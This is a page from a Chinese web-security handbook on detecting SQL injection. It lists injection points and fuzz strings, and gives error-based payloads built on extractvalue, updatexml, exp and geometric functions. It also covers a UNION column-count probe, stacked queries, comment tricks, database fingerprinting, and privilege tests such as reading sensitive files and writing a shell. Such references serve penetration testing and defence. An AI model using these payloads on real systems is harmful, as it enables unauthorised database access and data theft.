- 目录
- 1. 序章
- 2. 计算机网络与协议
- 3. 信息收集
- 4. 常见漏洞攻防
- 5. 语言与框架
- 6. 内网渗透
- 7. 云安全
- 8. 防御技术
- 9. 认证机制
- 10. 工具与资源
- 11. 手册速查
- 12. 其他
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
4.1.2. 注入检测
4.1.2. 注入检测
4.1.2.1. 常见的注入点
- GET/POST/PUT/DELETE参数
- X-Forwarded-For
- 文件名
4.1.2.2. Fuzz注入点
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
- 反引号执行
4.1.2.3. 测试用常量
@@version
@@servername
@@language
@@spid
4.1.2.4. 测试列数
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
4.1.2.5. 报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
4.1.2.5.1. 基于geometric的报错注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
4.1.2.6. 堆叠注入
;select 1
4.1.2.7. 注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
4.1.2.8. 判断过滤规则
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码
4.1.2.9. 获取信息
- 判断数据库类型
and exists (select * from msysobjects ) > 0
access数据库and exists (select * from sysobjects ) > 0
SQLServer数据库
- 判断数据库表
and exsits (select * from admin)
- 版本、主机名、用户名、库名
- 表和字段
- 确定字段数
- Order By
- Select Into
- 表名、列名
4.1.2.10. 测试权限
- 文件操作
- 读敏感文件
- 写shell
- 带外通道
- 网络请求
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论